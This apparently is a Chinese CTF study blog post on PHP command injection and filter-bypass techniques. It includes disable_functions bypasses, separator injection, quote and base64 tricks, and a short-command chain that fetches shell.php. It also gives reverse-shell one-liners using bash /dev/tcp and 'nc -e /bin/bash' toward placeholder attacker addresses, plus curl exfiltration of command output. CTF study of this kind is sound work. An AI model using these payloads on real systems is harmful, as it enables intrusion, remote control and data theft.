CTF练习三 —— 命令注入&命令执行绕过
这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对题目详细介绍了,题目本身也比较简单,直接给了PHP源码,现学都来得及;;
解题参考的链接是:https://www.cnblogs.com/hetianlab/p/heetian.html
感谢大佬的无私分享!!!
在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。
作为CTF最基础的操作,命令执行的学习主要是为了以后进一步使用webshell打下基础
同样的,今天还会介绍如何使用各种命令执行绕过的方式
首先我们先来看代码执行
动态调用:
这个地方是ctf曾经的一个考点,也是我在强网杯出过的一道题目,叫"高明的黑客",里面使用的就是混淆代码+动态函数调用,这种写法实际上在红蓝攻防中很经常用到(在实际过狗和编写变形的一句话木马的时候也是经常见到),就是一堆函数进行混淆,然后在里面插入一个动态函数进行真正的代码执行或者是命令执行。
当时那道题目的灵感是来自于一场安全响应,黑客攻陷网站后,在里头插入了混淆以后的代码,1000多个文件里面只有一条路径是正常执行的,最后是使用debug直接看栈内存的调用来判断哪个路径是真的动态调用。

其实就是简单的变形一句话;
常见的命令执行函数

反引号为啥也可以呢?

这个是大家很容易忘记的一个命令执行点,ctf赛题最近也出了很多道关于这个的题目。我们在第二篇中会拿一个例子来详细分析他的作用。
命令执行绕过
以上是我们常见的代码注入或者是命令注入的函数,但是很多时候在ctf中,出题人不会那么轻易的就让我们执行命令。因此我们必须要能够掌握多种命令执行绕过的姿势。
一般来说,遇到的无非以下两种情况:
① disable_function
这个东西很明显就是什么呢,你能够代码执行了,但是发现不论是蚁剑还是你自己手打,都执行不了系统命令,然后你用phpinfo这种函数读取后发现如下配置:

说白了就是开发者禁用了这些函数;如果查看了PHP info发现是这种情况,,解法有很多种,网上有很多文章都有写到,,直接搜索就行 ,这里简单介绍两种,,其中一种我另一篇博客有详细写
一、利用ld_preload
今年来比较少考到,但是在红蓝攻防中很经常应用
需要对面满足条件是:对面没有禁用mail函数(可能这也是最近比赛不爱考这个的原因之一,如果禁用了mail,那等于就是考察别的点了,不禁用mail又一堆人用这个方法绕过,也很没有意思)操作方法: 
将带有命令的c文件编译成为.so文件然后通过代码执行传入(这里可以直接用蚁剑)
然后传入如下php文件

访问php文件就可以运行刚才的命令了。然后可以在/tmp/smity文件下看到ls的结果。
二、利用php_gc
从这两次公益赛来看这个都是考点(春秋和高校)两次的题目分别是:easy-thinking和php-uaf都是做到了代码执行却没有命令执行,所以通常步骤就是,利用蚁剑链接我们的shell代码执行,将下面的脚本写好命令传上去然后访问,利用phpgc进程Bypass 条件:php7.0 < 7.3 (Unix) 这里的大家可以参考这个博客,里面有比较详细的脚本,因为太长了就不贴在这里了 https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/ 另一篇博客有现成的脚本,直接用就OK
②、命令执行绕过(被过滤了字符)
这个限制一般是题目中允许你使用system,但是很奇怪的是你却没有办法获取执行命令的结果
比如,对面过滤了空格,你能执行ls,但是没法cat读取文件
比如,对面过滤了flag这个词语,什么文件都可以读取,就是没办法读取flag
等等,都是ctf题目做到最后,这个出题人小心思故意在这里卡你一下。这个时候你就需要试试我接下来讲的这些方法:
空格代替
空格在bash下,可以用以下字符代替空格

截断符号
ctf很喜欢考的一点是命令执行的连接,这个地方它通常会给一个已有的命令执行,比如代码写好了ping命令,叫你填写一个ip参数这样的题目,这个时候就需要测试截断符号,将你输入的ip参数和后面要执行的命令隔开。首先测试所有的截断符号:

利用截断符号配合普通命令简单问题基本就出来;例如:ip=127.0.0.1;cat /home/flag.txt这样就可以达到同时执行两条命令的效果
利用base编码绕过
这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令,那么就可以用下面这种方式将cat先base64编码后再进行解码运行。

连接符,用两个单引号可以绕过
cat /etc/pass'w'd这个是现在很喜欢考的点之一,基本能通杀大部分命令注入waf因为单引号一旦过滤很大程度上会影响正常解题。

这次强网杯,就是用这个绕过对 flag 的过滤 ,用的是 fl'a'g
反斜杠利用
这个是很经典的hitcon题目,hitcon连续好几年出了绕过长度限制执行命令的题目
比如七个字符执行命令
七个字的命令执行
这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

\ 在linux里也是个连接符,最早使用在屏幕不能容纳超过18个字符的第一代计算机,用于连接上下两行,这里使用它来绕过限制
语句为wget 域名.com -O shell.php
ls > a 写入服务器文件然后sh a 读取
这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来
然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序 将最后的命令改成ls -t>a

至于绕过5个字符执行命令,绕过4个字符,那其实都是用\做的trick,这里不一一赘述了。
命令执行结果返回长度受限制
这次在高校战役上有一道题目提醒了我这个,出题人其实能过滤的就那么多,那么还有一种方法卡住你就是不让你看到命令执行的完整结果,比如不回显或者是回显一行,这次题目需要用道soapclient做代码执行,但是它有一点不好就是没办法回显完整,只能看到一行结果,这样对我们的命令执行很不方便,而且dev文件没有权限使用,这个时候我们可以用下面这个反弹shell的办法。
其实反弹shell的命令大家很喜欢用这个:
bash -i >&/dev/tcp/ip/port0>&1
但是这个有一点不好,他需要dev也需要bash,实际上用我下面这个命令会更简单:监听端口后
nc-e /bin/bash ip port
这样也可以拿到shell,其实本质是一样的,没有太大区别,只是简化了一下。
一道很经典的命令执行绕过
这个题目好像看到两次了,一开始大家都不会脑洞,后来发现这次还是好多人没有学会,也没有去总结poc:


两种方法
1.反弹shell
2.curl
反弹shell,我们这里可以使用;来连接命令,
$x;nc -e /bin/bash ip port
然后在自己服务器端口 nc -lvv 8080进行监听
但是这题要是再难一点,没有权限执行反弹shell这个操作呢
我们还可以用另一种方法:
curl的妙用
在curl里面有这几种方式
直接ip发送get包
-d发送post包
-v 显示整个通信过程
--data发送数据
这里可以使用curl -v http://ip?whoami
或者 curl -v http://ip --datawhoami
IP为自己服务器,就可以在/var/log/apache2/access.log下看到命令执行的结果了。
学习到的知识点:
查看flag 的时候如果用cat查看不了但是确实存在的话,可以用 tac 查看,两者的不同之处就是 tac 是倒着查看文件,也就是从最后一行网上查看,你用cat查看不了的原因可能是文件过大;;
CTF练习三 —— 命令注入&命令执行绕过的更多相关文章
- CVE-2020-15778 OpenSSH命令注入漏洞复现
一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...
- PHP代码审计之命令注入
命令注入 命令注入就是通过利用无验证变量构造特殊语句对服务器进行渗透. 注入的种类有很多,而不仅仅是SQL Injection. php常见注入有以下几种(常见:,常见!!): 命令注入 (Comma ...
- 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)
前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...
- Fortify Audit Workbench 笔记 Command Injection(命令注入)
Command Injection(命令注入) Abstract 执行不可信赖资源中的命令,或在不可信赖的环境中执行命令,都会导致程序以攻击者的名义执行恶意命令. Explanation Comman ...
- CTF中的命令执行绕过
本位原创作者:Smity 在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为 ...
- CTF—攻防练习之HTTP—命令注入
主机:192.168.32.152 靶机:192.168.32.167 首先nmap,nikto -host,dirb 探测robots.txt目录下 在/nothing目录中,查看源码发现pass ...
- [GXYCTF2019]Ping Ping Ping(ping命令执行绕过Waf)
记一道ping注入的题.过滤了很多字符. 分析 简单的测了一下,很容易就拿到了flag.php和index.php. 但是存在waf无法直接查看.直接?ip=127.0.0.1|cat flag.ph ...
- ctf-ping命令执行绕过
题目连接:http://ctf.klmyssn.com/challenges#Ping 命令执行绕过,试了试过滤了一些:一些命令 但是反引号可以执行命令 通过拼接,可以拼接出来:ls 命令 127.0 ...
- Natas29 Writeup(Perl命令注入、00截断、绕过过滤)
Natas29: 本关打开后,可以看到一个下拉列表,选择不同的内容,会得到不同的大量文本的页面. 观察url部分:http://natas29.natas.labs.overthewire.org/i ...
随机推荐
- 使用Folx下载热门电影居然这么简单
在闲暇的时候,很多人会选择观看电影.电视剧来打发时间.对于一些热门的资源,可以通过网页搜索的方式,找到很多与之相对应的种子资源. 但有时候,一些不那么热门的资源就要花费较多时间搜索.有了Folx bt ...
- Guitar Pro 7 中文界面的介绍
用过Guitar Pro这款软件的小伙伴们都知道,Guitar Pro这款吉他软件因为是国外开发商研发的,所以软件最初都是英文版本,对于国内的的吉他爱好者来说,在软件使用上还是很不方便的.随着Guit ...
- FL Studio中的音频剪辑功能
音频剪辑是FL Studio中的特色功能,音频剪辑的目的是保持在播放列表中显示和触发的音频,可以根据需要对它们进行切片和排列.但音频剪辑这个功能在FL Studio的基础版中是没有的. 图1:音频剪辑 ...
- CorelDRAW常用工具之橡皮擦工具
很多作图以及设计软件都会自带橡皮擦工具,但对于专业做平面设计的小伙伴来说,普通的橡皮工具肯定是无法满足日常作图需求的,今天来看看CorelDRAW的橡皮擦能玩出什么花样来. 1.擦除对象 CorelD ...
- Word文档数据被误删了怎么办,还能恢复吗
很多时候由于时间紧张或者是思路不想被打断,我们在编辑Word时不能及时的手动保存,一旦遇到电脑意外断电的情况可能就会导致编辑好的Word文档内容丢失.或者是文档编辑好了之后,Word提示是否保存时,误 ...
- 好端端的数据结构,为什么叫它SB树呢?
大家好,今天给大家介绍一个很厉害的数据结构,它的名字就很厉害,叫SB树,业内大佬往往叫做傻叉树.这个真不是我框你们,而是它的英文缩写就叫SBT. SBT其实是英文Size balanced tree的 ...
- lambda表达式中无法抛出受检异常!
抛出受检异常的时候,我们的接口应该带上throw关键字,但通过lambda表达式实现的Consumer的accept方法并不带有关键字,因此在lambda表达式中不能抛出受检异常必须把它吃掉
- 训练yolo之前,anchor聚类问题
前期做数据可视化,发现标签数据存在一些孤立点(噪声点),影响kmeans聚类. 处理方法如下: 使用kmeans迭代10次得到聚类中心 计算所有数据到其聚类中心的欧式距离均值和方差 通过拟合正态分布, ...
- 在之前的EventHandler中的参数类型必须继承EventArgs,现在已经去掉这个约束了。
分别是vs2008和vs2012的对比,可以看到2012已经去掉了约束条件.
- 2017 Mid Central Regional F.Orderly Class(大水题)
这两天刷了两道过去的原题,看看思维还是8太行. 这道题问给出两个字符串,要求只翻转一次,问有几种不同的方法使得a串变成b串 我一开始没看到只翻转一次,还以为是个计数 + 字符串dp大难题,心想当年的学 ...